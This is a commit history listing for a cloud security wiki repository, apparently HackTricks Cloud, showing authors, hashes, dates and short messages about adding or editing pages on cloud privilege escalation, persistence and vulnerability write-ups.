Compare commits

..

622 Commits

Author SHA1 Message Date
carlospolop
50520f6c7d f 2025-10-01 12:00:16 +02:00
carlospolop
1b274752fd f 2025-10-01 11:54:20 +02:00
carlospolop
63f5aa81e3 f 2025-10-01 11:53:59 +02:00
carlospolop
eb7245d3fd f 2025-10-01 11:50:22 +02:00
carlospolop
675092de06 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-10-01 11:37:16 +02:00
carlospolop
570c0f46af fix searchindex 2025-10-01 11:37:13 +02:00
Build master
2468851007 Update searchindex (purged history; keep current) 2025-09-30 22:08:01 +00:00
carlospolop
d0ebc37eb3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-10-01 00:04:05 +02:00
carlospolop
79fd264473 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-10-01 00:04:05 +02:00
carlospolop
becec234f4 f 2025-09-30 23:46:30 +02:00
carlospolop
143e6bdfe9 f 2025-09-30 23:46:30 +02:00
carlospolop
2a5d2dea9e Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-09-30 23:45:47 +02:00
carlospolop
9b52c7953d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-09-30 23:45:47 +02:00
Build master
07628e009a Update searchindex (purged history; keep current) 2025-09-30 19:15:32 +00:00
SirBroccoli
8d39c38b58 Merge pull request #216 from HackTricks-wiki/update_Cooking_an_SQL_Injection_Vulnerability_in_Chef_Aut_20250930_182633
Cooking an SQL Injection Vulnerability in Chef Automate
2025-09-30 21:13:40 +02:00
SirBroccoli
7097f55620 Update SUMMARY.md 2025-09-30 21:13:20 +02:00
SirBroccoli
f96fed548e Merge pull request #215 from JaimePolop/master
Roles Anywhere explanation
2025-09-30 21:11:45 +02:00
HackTricks News Bot
21b31a3be3 Add content from: Cooking an SQL Injection Vulnerability in Chef Automate
- Remove searchindex.js (auto-generated file)
2025-09-30 18:28:35 +00:00
JaimePolop
5d031d4518 Roles Anywhere explanation 2025-09-30 17:50:02 +02:00
SirBroccoli
1e51bb702d Merge pull request #210 from HackTricks-wiki/update_Forgotten_20250917_063108
Forgotten
2025-09-30 01:24:53 +02:00
SirBroccoli
1111212cbb Update attacking-kubernetes-from-inside-a-pod.md 2025-09-30 01:07:36 +02:00
SirBroccoli
bb763109dc Merge pull request #209 from HackTricks-wiki/update_GitHub_Actions__A_Cloudy_Day_for_Security_-_Part_2_20250915_124429
GitHub Actions A Cloudy Day for Security - Part 2
2025-09-30 01:05:33 +02:00
SirBroccoli
25af34d5a2 Merge pull request #208 from HackTricks-wiki/update_Building_Hacker_Communities__Bug_Bounty_Village__g_20250915_123837
Building Hacker Communities Bug Bounty Village, getDisclosed...
2025-09-30 00:57:56 +02:00
carlospolop
a10148e331 f 2025-09-30 00:54:25 +02:00
carlospolop
b904273a19 f 2025-09-30 00:54:25 +02:00
carlospolop
0aa87b8319 f 2025-09-30 00:53:25 +02:00
carlospolop
004e341804 f 2025-09-30 00:53:25 +02:00
Build master
24c1d54861 Update searchindex (purged history; keep current) 2025-09-29 22:46:56 +00:00
carlospolop
015b24f51c Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-09-30 00:40:54 +02:00
carlospolop
8589cf621f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-09-30 00:40:54 +02:00
carlospolop
c8957b9107 f 2025-09-30 00:39:12 +02:00
carlospolop
ecebe97de5 f 2025-09-30 00:39:12 +02:00
Build master
fe691c5c50 Update searchindex (purged history; keep current) 2025-09-29 22:31:25 +00:00
SirBroccoli
de064b1b68 Merge pull request #214 from JaimePolop/master
GetFederatedToken & IAM Roles Anywhere Privesc
2025-09-30 00:23:32 +02:00
SirBroccoli
ea0f667e57 Merge pull request #214 from JaimePolop/master
GetFederatedToken & IAM Roles Anywhere Privesc
2025-09-30 00:23:32 +02:00
SirBroccoli
b7a1554deb Delete searchindex.js 2025-09-30 00:23:17 +02:00
Build master
1304799271 Update searchindex (purged history; keep current) 2025-09-29 21:35:54 +00:00
carlospolop
18e756320d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-09-29 23:30:37 +02:00
SirBroccoli
78767e199c Merge pull request #207 from HackTricks-wiki/update_GitHub_Actions__A_Cloudy_Day_for_Security_-_Part_1_20250909_013245
GitHub Actions A Cloudy Day for Security - Part 1
2025-09-29 23:05:37 +02:00
SirBroccoli
65816a9798 Merge pull request #206 from HackTricks-wiki/update_Model_Namespace_Reuse__An_AI_Supply-Chain_Attack_E_20250904_125657
Model Namespace Reuse An AI Supply-Chain Attack Exploiting M...
2025-09-29 23:04:02 +02:00
SirBroccoli
fc5e23269c Update pentesting-cloud-methodology.md 2025-09-29 23:03:41 +02:00
SirBroccoli
89a2ab54ae Update pentesting-cloud-methodology.md 2025-09-29 23:03:04 +02:00
JaimePolop
f3afa739ad Roles Anywhere explanation 2025-09-29 22:53:29 +02:00
JaimePolop
d11f3a3880 Roles Anywhere explanation 2025-09-29 22:53:29 +02:00
JaimePolop
590e54ea9e stsgetfederatedtoken 2025-09-29 17:15:59 +02:00
JaimePolop
f539a9e2d9 stsgetfederatedtoken 2025-09-29 17:15:59 +02:00
JaimePolop
e153dc47b0 stsgetfederatedtoken 2025-09-29 17:14:00 +02:00
JaimePolop
9242d2e4d9 stsgetfederatedtoken 2025-09-29 17:14:00 +02:00
HackTricks News Bot
37b03b3517 Add content from: Forgotten
- Remove searchindex.js (auto-generated file)
2025-09-17 06:34:24 +00:00
HackTricks News Bot
a6491998d2 Add content from: GitHub Actions: A Cloudy Day for Security - Part 2
- Remove searchindex.js (auto-generated file)
2025-09-15 12:47:04 +00:00
HackTricks News Bot
dba44c006e Add content from: Building Hacker Communities: Bug Bounty Village, getDisclose...
- Remove searchindex.js (auto-generated file)
2025-09-15 12:43:09 +00:00
HackTricks News Bot
b9b20e4567 Add content from: GitHub Actions: A Cloudy Day for Security - Part 1
- Remove searchindex.js (auto-generated file)
2025-09-09 01:35:49 +00:00
Build master
391b11e92c Update searchindex (purged history; keep current) 2025-09-05 10:54:39 +00:00
carlospolop
19024e5a7c f 2025-09-05 12:50:45 +02:00
carlospolop
4d9445d2bb f 2025-09-05 12:49:02 +02:00
carlospolop
7f435558c4 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-09-05 01:35:13 +02:00
carlospolop
a7ce58fa25 tf 2025-09-05 01:34:02 +02:00
HackTricks News Bot
5b5e339f96 Add content from: Model Namespace Reuse: An AI Supply-Chain Attack Exploiting ...
- Remove searchindex.js (auto-generated file)
2025-09-04 13:00:46 +00:00
SirBroccoli
5bd2aafc8e Merge pull request #204 from HackTricks-wiki/update_Gitblit_CVE-2024-28080__SSH_public_key_fallback_to_20250829_182811
Gitblit CVE-2024-28080 SSH public‑key fallback to password a...
2025-08-31 10:17:05 +02:00
SirBroccoli
00730ca794 Add Gitblit Security section to SUMMARY.md 2025-08-31 10:16:44 +02:00
SirBroccoli
923f510164 Refactor pentesting CI/CD methodology document
Removed redundant sections on CI/CD pipelines and VCS pentesting methodology. Updated references and streamlined content for clarity.
2025-08-31 10:15:04 +02:00
SirBroccoli
fec9bfb986 Update pentesting-ci-cd-methodology.md 2025-08-31 10:12:16 +02:00
SirBroccoli
6a11053885 Remove CVE-2024-28080 details from documentation
Removed detailed explanation of CVE-2024-28080, including summary, root cause, exploitation steps, impact, detection ideas, and mitigations.
2025-08-31 10:11:39 +02:00
SirBroccoli
de46109976 Merge pull request #205 from Fake1Sback/ecs-run-task-privesc-details
ecs run-task privesc method as a separate section
2025-08-31 10:06:39 +02:00
SirBroccoli
fd19dc2304 Update aws-ecs-privesc.md 2025-08-31 10:06:24 +02:00
Fake1Sback
599d45c50a Added a separate section about the ecs run-task privesc method, since it was only briefly mentioned in the iam:PassRole, (ecs:UpdateService|ecs:CreateService) section 2025-08-30 18:52:59 +03:00
HackTricks News Bot
5b2a228050 Add content from: Gitblit CVE-2024-28080: SSH public‑key fallback to password ...
- Remove searchindex.js (auto-generated file)
2025-08-29 18:31:33 +00:00
carlospolop
d1f95b1929 a 2025-08-29 12:01:44 +02:00
carlospolop
846ad61b73 f 2025-08-29 12:01:07 +02:00
carlospolop
c09016a56f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-29 11:47:04 +02:00
carlospolop
77b76bfb00 a 2025-08-29 11:45:00 +02:00
carlospolop
3883d1a74e clean 2025-08-29 11:42:28 +02:00
carlospolop
ebb51f81bb f 2025-08-29 10:31:31 +02:00
carlospolop
d761716a28 f 2025-08-28 19:51:53 +02:00
carlospolop
467491e1ae f 2025-08-26 11:30:37 +02:00
carlospolop
d05d94d995 f 2025-08-25 23:20:13 +02:00
carlospolop
bc1201eb61 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-24 13:22:13 +02:00
carlospolop
15ff9a7d1c f 2025-08-24 13:22:10 +02:00
SirBroccoli
4880cb4574 Update translator.py 2025-08-22 18:06:33 +02:00
SirBroccoli
05853fcc19 Update translator.py 2025-08-22 12:10:49 +02:00
carlospolop
a45973b8a7 f 2025-08-21 02:29:00 +02:00
carlospolop
38dae42b81 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-21 02:26:30 +02:00
carlospolop
5adcd244f6 f 2025-08-21 02:26:27 +02:00
SirBroccoli
33ca677b86 Update README.md 2025-08-21 02:19:10 +02:00
carlospolop
b1af5ce692 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-21 02:18:41 +02:00
carlospolop
61ae9f83db f 2025-08-21 02:18:38 +02:00
SirBroccoli
07a16af4ec Update README.md 2025-08-21 02:12:04 +02:00
carlospolop
f45429555e Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-21 02:11:47 +02:00
carlospolop
f92d67cfdc f 2025-08-21 02:11:44 +02:00
SirBroccoli
d7c57cba6e Update accessible-deleted-data-in-github.md 2025-08-21 02:05:51 +02:00
SirBroccoli
a641fcea8a Update README.md 2025-08-21 02:05:31 +02:00
SirBroccoli
eb4f46f714 Update README.md 2025-08-21 02:05:02 +02:00
SirBroccoli
1ceeca1326 Update README.md 2025-08-21 02:04:37 +02:00
carlospolop
68267218a7 f 2025-08-21 02:04:24 +02:00
carlospolop
3901748f3d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-21 02:03:39 +02:00
carlospolop
68de9f8acc f 2025-08-21 02:03:37 +02:00
SirBroccoli
236a8a2cec Update README.md 2025-08-21 01:59:20 +02:00
carlospolop
d373f62166 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-21 01:59:00 +02:00
carlospolop
c2c232fd46 f 2025-08-21 01:58:58 +02:00
SirBroccoli
f3fd4b9294 Update README.md 2025-08-21 01:56:10 +02:00
SirBroccoli
dd2c5af442 Merge pull request #198 from HackTricks-wiki/update_How_we_exploited_CodeRabbit__from_a_simple_PR_to_R_20250819_183743
How we exploited CodeRabbit from a simple PR to RCE and writ...
2025-08-21 01:52:41 +02:00
carlospolop
ee4da87049 improve workflows 2025-08-21 01:51:45 +02:00
carlospolop
3b1f434a66 f 2025-08-21 01:07:22 +02:00
carlospolop
8db7266efb f 2025-08-21 00:40:51 +02:00
carlospolop
59437b9b32 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-21 00:23:53 +02:00
carlospolop
ea3041d9a2 fix refs 2025-08-21 00:23:50 +02:00
HackTricks News Bot
f171d1a97d Add content from: How we exploited CodeRabbit: from a simple PR to RCE and wri... 2025-08-19 18:40:49 +00:00
SirBroccoli
855ef5fd9e Merge pull request #197 from HackTricks-wiki/update_Terraform_Cloud_token_abuse_turns_speculative_plan_20250815_124146
Terraform Cloud token abuse turns speculative plan into remo...
2025-08-19 17:22:17 +02:00
SirBroccoli
3ff0c8a86f Update terraform-security.md 2025-08-19 17:22:04 +02:00
carlospolop
414eeda035 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-18 16:51:47 +02:00
carlospolop
dac7b0f906 fix? 2025-08-18 16:51:43 +02:00
SirBroccoli
3b456ebc2e Merge pull request #195 from HackTricks-wiki/update_How_to_transfer_files_in_AWS_using_SSM_20250806_013457
How to transfer files in AWS using SSM
2025-08-18 16:48:47 +02:00
SirBroccoli
f0df70528a Update README.md 2025-08-18 16:48:30 +02:00
SirBroccoli
f705477774 Merge pull request #193 from hasshido/master
grte-mightocho
2025-08-18 16:37:29 +02:00
carlospolop
aff8ab0252 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-08-18 16:36:42 +02:00
carlospolop
06b577d42f f 2025-08-18 16:36:38 +02:00
SirBroccoli
14e986b2a7 Merge pull request #196 from lambdasawa/master
grte-lambdasawa
2025-08-18 16:06:12 +02:00
SirBroccoli
581f09f904 Merge pull request #194 from afaq1337/patch-1
arte-afaq
2025-08-18 16:05:08 +02:00
HackTricks News Bot
c76cc24a59 Add content from: Terraform Cloud token abuse turns speculative plan into remo... 2025-08-15 12:46:29 +00:00
Tsubasa Irisawa
15bde67918 Add GCP Cloud Tasks privesc page 2025-08-14 23:47:19 +09:00
HackTricks News Bot
3f16d3c5f3 Add content from: How to transfer files in AWS using SSM 2025-08-06 01:38:30 +00:00
afaq
82a44ea4c0 Updated Cognito Identity CLI Command Format
Replaced outdated key=value syntax with JSON-based in "--logins" format, keeping the old format for preserved legacy.
2025-08-04 23:56:55 +05:00
hasshido
839f139795 Merge branch 'HackTricks-wiki:master' into master 2025-08-04 12:41:01 +02:00
carlospolop
b82a88252c f 2025-08-04 11:37:34 +02:00
carlospolop
c3cfb95b87 f 2025-08-04 11:29:20 +02:00
carlospolop
e0b92e3b7a f 2025-08-01 12:04:42 +02:00
SirBroccoli
f521c0d95a Merge pull request #192 from HackTricks-wiki/update_AnsibleHound___BloodHound_Collector_for_Ansible_Wo_20250801_015104
AnsibleHound – BloodHound Collector for Ansible WorX and Tow...
2025-08-01 11:55:14 +02:00
SirBroccoli
96b0de9ec9 Update kubernetes-basics.md 2025-08-01 11:53:55 +02:00
SirBroccoli
6b96bae348 Update README.md 2025-08-01 11:53:20 +02:00
SirBroccoli
5fd9ed5048 Update gcp-add-custom-ssh-metadata.md 2025-08-01 11:52:52 +02:00
SirBroccoli
3157069bde Update az-static-web-apps.md 2025-08-01 11:51:49 +02:00
SirBroccoli
ccd50a451d Update eventbridgescheduler-enum.md 2025-08-01 11:50:45 +02:00
SirBroccoli
0a1f3dea22 Update aws-ecr-enum.md 2025-08-01 11:50:28 +02:00
SirBroccoli
e1bc13c19c Update aws-waf-enum.md 2025-08-01 11:49:21 +02:00
SirBroccoli
58c7ae8399 Update aws-trusted-advisor-enum.md 2025-08-01 11:49:00 +02:00
SirBroccoli
0ba0d247a8 Update aws-inspector-enum.md 2025-08-01 11:48:43 +02:00
SirBroccoli
6f8738f34f Update aws-sagemaker-persistence.md 2025-08-01 11:47:18 +02:00
SirBroccoli
5a6cd9a85c Merge pull request #191 from lambdasawa/master
arte-lambdasawa
2025-08-01 11:43:36 +02:00
HackTricks News Bot
ed2ae1e58f Add content from: AnsibleHound – BloodHound Collector for Ansible WorX and Tow... 2025-08-01 01:52:00 +00:00
Tsubasa Irisawa
dbe2969386 Add AWS AppRunner privesc page 2025-08-01 10:09:11 +09:00
carlospolop
97759b6cec rm discount 2025-07-31 11:58:39 +02:00
hasshido
95f380db6b Update gcp-cloudbuild-privesc.md removing cloudbuild.builds.update
### `cloudbuild.builds.update`

Currently this permission is listed to **only** be able to be used to use the api method `builds.cancel()` which cannot be abused to change the parameters of an ongoing build

References:
- https://cloud.google.com/build/docs/iam-roles-permissions#permissions
- https://cloud.google.com/build/docs/api/reference/rest/v1/projects.builds/cancel
2025-07-30 21:13:32 +02:00
hasshido
65da889db0 Update cloudbuild.builds.create exploitation method
Includes direct gcloud command descriptioon to exploit this permission.
2025-07-30 21:00:52 +02:00
carlospolop
45a7b74a0f f 2025-07-30 12:39:44 +02:00
carlospolop
4d2fa75b55 f 2025-07-30 06:52:07 +02:00
carlospolop
84bc28f8bb f 2025-07-30 06:48:21 +02:00
carlospolop
ebd15ccb63 f 2025-07-30 06:27:12 +02:00
carlospolop
f72768b30f fix 2025-07-30 06:18:20 +02:00
carlospolop
7a92891381 fix 2025-07-30 06:14:13 +02:00
carlospolop
e98c16371b fix 2025-07-30 06:05:19 +02:00
carlospolop
b1b0b0c536 impr 2025-07-30 05:57:20 +02:00
carlospolop
e324b93d88 improvements 2025-07-29 17:56:43 +02:00
carlospolop
baff049eb8 improvements 2025-07-24 13:23:56 +02:00
carlospolop
46a8364006 ssm 2025-07-24 08:53:00 +02:00
SirBroccoli
ce9f3f87af Merge pull request #190 from vishnuraju/master
arte-dh4wk
2025-07-24 08:48:14 +02:00
carlospolop
8655bc665f improvements 2025-07-24 00:04:54 +02:00
carlospolop
26022c0005 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-07-22 20:58:28 +02:00
carlospolop
a315ad9465 update 2025-07-22 20:58:25 +02:00
SirBroccoli
26d6010bfd Merge pull request #189 from AI-redteam/sagemaker_persistence
arte-bstevens
2025-07-22 14:26:58 +02:00
vishnuraju
d613dc8ce7 adding create-association for persistence 2025-07-19 15:56:47 +05:30
carlospolop
e93215546e impr 2025-07-18 14:59:34 +02:00
carlospolop
b4bb813717 improve translator 2025-07-18 14:59:11 +02:00
carlospolop
ab12e74c5e Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-07-16 15:45:31 +02:00
carlospolop
55658adf68 atlantis 2025-07-16 15:45:27 +02:00
SirBroccoli
e10e318840 Update ai.js 2025-07-16 11:23:46 +02:00
Ben
3662845c9c Update aws-sagemaker-persistence.md 2025-07-15 17:07:58 -05:00
Ben
7b475f151e Update aws-sagemaker-persistence.md 2025-07-15 17:01:04 -05:00
Ben
cfacf65682 Create aws-sagemaker-persistence.md 2025-07-15 16:46:25 -05:00
carlospolop
cacc26efe4 d 2025-07-15 19:22:04 +02:00
carlospolop
3f6485403c f 2025-07-12 16:21:38 +02:00
carlospolop
ec63e0077a Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-07-07 11:50:03 +02:00
carlospolop
8197352f5b f 2025-07-07 11:49:58 +02:00
SirBroccoli
e75ef47d73 Merge pull request #186 from JaimePolop/patch-24
Update aws-kms-enum.md
2025-07-03 16:51:47 +02:00
Jaime Polop
4c5a2d0b51 Update aws-kms-enum.md 2025-06-27 18:37:04 +02:00
carlospolop
f26eba3574 f 2025-06-25 13:54:52 +02:00
carlospolop
e1a1b2a31f f 2025-06-25 02:19:23 +02:00
carlospolop
d21b704799 a 2025-06-25 01:52:06 +02:00
carlospolop
278e22cf25 UPDATE 2025-06-24 15:59:59 +02:00
SirBroccoli
ba62c1ded8 Merge pull request #183 from sebastian-mora/add-roles-anywhere-privesc
Adding page for IAM Roles Anywhere Privesc
2025-06-24 15:58:25 +02:00
carlospolop
e6af835b2d a 2025-06-24 10:23:30 +02:00
carlospolop
c3110e5dc2 f 2025-06-22 14:53:27 +02:00
carlospolop
c3d732d46b f 2025-06-13 16:19:46 +02:00
carlospolop
16833c8621 a 2025-06-10 14:41:34 +02:00
carlospolop
e004aa173d Check origin GCP project 2025-06-10 14:33:27 +02:00
carlospolop
32d8b32e1f fix 2025-06-08 19:59:16 +02:00
carlospolop
8cb8cf4b78 a 2025-06-07 15:08:20 +02:00
carlospolop
682420bd96 a 2025-05-28 23:34:48 +02:00
carlospolop
423b2f5d24 f name insta 2025-05-20 17:38:13 +02:00
carlospolop
06302efcc4 f 2025-05-20 17:31:11 +02:00
carlospolop
12f8a8240c fix actions 2025-05-20 17:30:59 +02:00
carlospolop
cc8c3b9bc7 f 2025-05-20 17:16:28 +02:00
carlospolop
e3be82da7b a 2025-05-20 08:02:42 +02:00
carlospolop
5c9151d0a9 f 2025-05-20 07:44:49 +02:00
carlospolop
4f8f9ebb5d delepwn 2025-05-17 06:58:24 +02:00
carlospolop
a59586d035 a 2025-05-15 18:55:14 +02:00
carlospolop
6f5f13f1d1 a 2025-05-14 23:46:42 +02:00
carlospolop
d0a10b4b59 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-05-14 15:49:44 +02:00
carlospolop
3153e9e112 a 2025-05-14 15:49:14 +02:00
seb
4ba5101450 add blog 2025-05-12 23:33:37 -04:00
Ignacio Dominguez
46317efe3f Update az-cloud-shell-persistence.md 2025-05-12 21:23:45 +02:00
carlospolop
13cd85219b a 2025-05-11 17:04:02 +02:00
Carlos Polop
bb4337235e a 2025-05-09 14:53:58 +02:00
Carlos Polop
4adabb8e45 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-05-09 14:41:10 +02:00
Carlos Polop
64e6b18369 clarification 2025-05-09 14:41:08 +02:00
SirBroccoli
e79a494c75 Merge pull request #180 from MickaelFontes/master
fix: wrong reference link in s3 privesc
2025-05-09 13:45:44 +02:00
SirBroccoli
e8310823ee Merge pull request #182 from reubensammut/master
Update az-automation-accounts-privesc.md
2025-05-09 13:43:18 +02:00
Carlos Polop
94d6bb7be6 apps username 2025-05-09 13:14:54 +02:00
Carlos Polop
3886eb0679 update searcher 2025-05-08 23:14:04 +02:00
Carlos Polop
b4a33ce277 last 2025-05-08 23:10:34 +02:00
Reuben Sammut
b206e184f6 Merge pull request #1 from reubensammut/change-webhook-command
Update az-automation-accounts-privesc.md
2025-05-08 21:35:21 +02:00
Reuben Sammut
1562438890 Update az-automation-accounts-privesc.md
Change the webhook command to use the Powershell command `New-AzAutomationWebHook` which automatically generates the URI, as the command used in here used a URI generated by the Azure Portal
2025-05-08 21:26:25 +02:00
Carlos Polop
9c7ae3465b a 2025-05-05 23:42:52 +02:00
Carlos Polop
afef551baa fix 2025-05-01 16:25:15 +02:00
MickaelFontes
45f06743a5 fix: wrong reference link in s3 privesc 2025-05-01 12:07:35 +00:00
Carlos Polop
2cf7ab9070 a 2025-05-01 13:52:01 +02:00
Carlos Polop
a67f9f67e9 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-05-01 13:35:45 +02:00
Carlos Polop
b76f4ee32e improvements 2025-05-01 13:35:42 +02:00
SirBroccoli
c57b961d3f Merge pull request #179 from olizimmermann/patch-1
Update aws-s3-unauthenticated-enum.md
2025-04-30 17:29:53 +02:00
SirBroccoli
6a65d520db Merge pull request #178 from courtneyimbert/fix/arte-courtneybell-corrections
arte-courtneybell
2025-04-30 17:28:34 +02:00
Carlos Polop
2d8e6cc317 ai improvements 2025-04-29 10:27:14 +02:00
Carlos Polop
1af7a95753 a 2025-04-28 01:14:18 +02:00
Carlos Polop
81bd25041e typo 2025-04-27 23:46:36 +02:00
Carlos Polop
a2fc1bb9e4 add 2025-04-27 23:34:53 +02:00
Carlos Polop
245801a8f3 a 2025-04-26 13:09:32 +02:00
Carlos Polop
c8ee4e1f63 don't freeze because of searcher 2025-04-26 13:05:26 +02:00
Carlos Polop
87d7a35977 a 2025-04-25 17:53:18 +02:00
Carlos Polop
df415302d4 hacktricks ai 2025-04-25 17:49:40 +02:00
Carlos Polop
227bd60d9d fix postgresql 2025-04-25 04:50:59 +02:00
Oliver Zimmermann
6113778d42 Update aws-s3-unauthenticated-enum.md 2025-04-22 13:57:01 +02:00
Carlos Polop
6229cc5c3f f 2025-04-21 23:00:32 +02:00
Carlos Polop
cc3464f588 fix search 2025-04-21 02:09:17 +02:00
Carlos Polop
84c84de0f6 fix 2025-04-21 01:57:47 +02:00
Carlos Polop
1af5f28379 fix search 2025-04-21 00:17:58 +02:00
Carlos Polop
d22733b802 rm searhcindex.json 2025-04-21 00:14:09 +02:00
Carlos Polop
13e0bddd0c fix local 2025-04-20 02:55:39 +02:00
Courtney Bell
2f1397e2df arte-courtneybell
Added webhook alternative example (tested) to task definition as a new tab
2025-04-19 19:21:52 -04:00
Courtney Bell
a1718ef3d5 arte-courtneybell-corrections
Minor fixes (fix to one command based on testing, 2 typo corrections)
2025-04-19 18:38:14 -04:00
Carlos Polop
c01bb34d34 f 2025-04-18 13:46:59 +02:00
Carlos Polop
57d0f100e5 v 2025-04-18 13:21:17 +02:00
Carlos Polop
9e731ee081 f 2025-04-16 17:36:49 +02:00
Carlos Polop
f37c444854 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-04-15 01:44:12 +02:00
Carlos Polop
cb0f15bd18 use langs locally 2025-04-15 01:44:09 +02:00
SirBroccoli
05ef9e4e88 Update translator.py 2025-04-15 00:06:14 +02:00
SirBroccoli
653f16bf02 Update translator.py 2025-04-15 00:04:20 +02:00
Carlos Polop
02f3d3d27e add 2025-04-14 23:56:48 +02:00
Carlos Polop
fd7e52a9f0 Update banners 2025-04-14 23:56:08 +02:00
Carlos Polop
a31a609a53 gif 2025-04-14 23:44:49 +02:00
Carlos Polop
2d20c080f1 im 2025-04-13 16:30:15 +02:00
Carlos Polop
a1abf4a40e book 2025-04-13 16:29:58 +02:00
Carlos Polop
3267900f8e action 2025-04-13 16:29:23 +02:00
Carlos Polop
d24b4f4947 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-04-11 02:23:56 +02:00
Carlos Polop
cb93bc9325 a 2025-04-11 02:23:53 +02:00
SirBroccoli
89bd5603b5 Merge pull request #177 from TheToddLuci0/add_cdk
arte-TheToddLuci0
2025-04-07 03:06:15 +02:00
SirBroccoli
a214e36c16 Merge pull request #175 from TheToddLuci0/add_credential_process
Add `credential_process` info
2025-04-07 03:04:24 +02:00
TheToddLuci0
46fb09dbc7 Add info on CDK 2025-04-03 15:31:19 -05:00
SirBroccoli
c6c5326731 Merge pull request #174 from TheToddLuci0/add_lambda_credential_theft
Add section on lambda credential theft
2025-04-03 22:29:19 +02:00
Carlos Polop
0d99994b28 t 2025-04-03 22:28:06 +02:00
SirBroccoli
518ec63594 Merge pull request #173 from 0x21AD/master
Mindmap PE Common Services
2025-04-03 15:45:50 +02:00
Build master
365ec0ea1b Update searchindex 2025-04-02 15:51:23 +00:00
SirBroccoli
55bb9cabcd Merge pull request #176 from JaimePolop/master
changes
2025-04-02 17:49:38 +02:00
Jimmy
b63860c1b3 changes 2025-04-01 00:12:16 +02:00
Jaime Polop
f396d310ed Merge branch 'HackTricks-wiki:master' into master 2025-03-31 23:26:23 +02:00
TheToddLuci0
fb64ce166d Add instructions for automating temp creds with external process 2025-03-31 14:14:00 -05:00
TheToddLuci0
60fe5b65e9 Add a dedicated post-exploitation section on stealing creds from lambda 2025-03-31 13:49:12 -05:00
SirBroccoli
d6a90112e4 Update upload_ht_to_ai.py 2025-03-31 04:39:18 +02:00
SirBroccoli
8ac043f850 Update upload_ht_to_ai.yml 2025-03-31 04:38:40 +02:00
SirBroccoli
d0ca3b4c13 Update upload_ht_to_ai.py 2025-03-31 04:36:29 +02:00
SirBroccoli
0721cb17a8 Update upload_ht_to_ai.yml 2025-03-31 04:34:21 +02:00
SirBroccoli
0a7aa1d734 Update upload_ht_to_ai.yml 2025-03-31 04:32:23 +02:00
SirBroccoli
f976ae1b70 Update upload_ht_to_ai.yml 2025-03-31 04:30:53 +02:00
SirBroccoli
73895ccc90 Update upload_ht_to_ai.py 2025-03-31 04:30:08 +02:00
SirBroccoli
a0c66139cf Create upload_ht_to_ai.yml 2025-03-31 04:27:09 +02:00
SirBroccoli
6d3e83b6fa Update and rename clean_for_ai.py to upload_ht_to_ai.py 2025-03-31 04:23:34 +02:00
Build master
323213ba74 Update searchindex 2025-03-29 23:01:11 +00:00
Carlos Polop
f87ea41409 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-29 23:55:08 +01:00
Carlos Polop
fa3baebd58 impr 2025-03-29 23:54:50 +01:00
0x21AD
ecb7b8f136 Mindmap PE Common Services 2025-03-29 14:14:44 +02:00
Build master
64bb51ab33 Update searchindex 2025-03-29 08:43:50 +00:00
Carlos Polop
043f28492d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-29 09:42:05 +01:00
Carlos Polop
7136d61e6b f 2025-03-29 09:42:02 +01:00
Build master
aa4d2f583f Update searchindex 2025-03-28 15:53:20 +00:00
Carlos Polop
5276c9c7db Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-28 16:51:43 +01:00
Carlos Polop
005dee76e9 more 2025-03-28 16:51:40 +01:00
Build master
954173982d Update searchindex 2025-03-28 11:25:08 +00:00
Carlos Polop
014036afb7 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-28 12:23:25 +01:00
Carlos Polop
ff9846dbc6 a 2025-03-28 12:23:23 +01:00
Build master
5c6a20ff62 Update searchindex 2025-03-28 10:46:54 +00:00
Carlos Polop
524edcbc09 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-28 11:45:18 +01:00
Carlos Polop
8be8f721ca add 2025-03-28 11:45:16 +01:00
Build master
d7937f5851 Update searchindex 2025-03-27 12:44:53 +00:00
SirBroccoli
8cca683281 Merge pull request #172 from kluo84/arte-mr.kluo-UpdateStateMachine
arte-Kluo
2025-03-27 13:43:24 +01:00
kluo
29db46c537 Update aws-stepfunctions-post-exploitation.md 2025-03-26 18:11:05 -05:00
kluo84
35075688aa arte-mr.kluo-UpdateStateMachine 2025-03-26 18:04:29 -05:00
kluo84
49023a7e71 Update more post exploitation for step function 2025-03-24 20:29:40 -05:00
Jaime Polop
ec902048e6 Merge branch 'HackTricks-wiki:master' into master 2025-03-21 11:18:56 +01:00
Carlos Polop
413635f6ed a 2025-03-21 10:26:04 +01:00
Carlos Polop
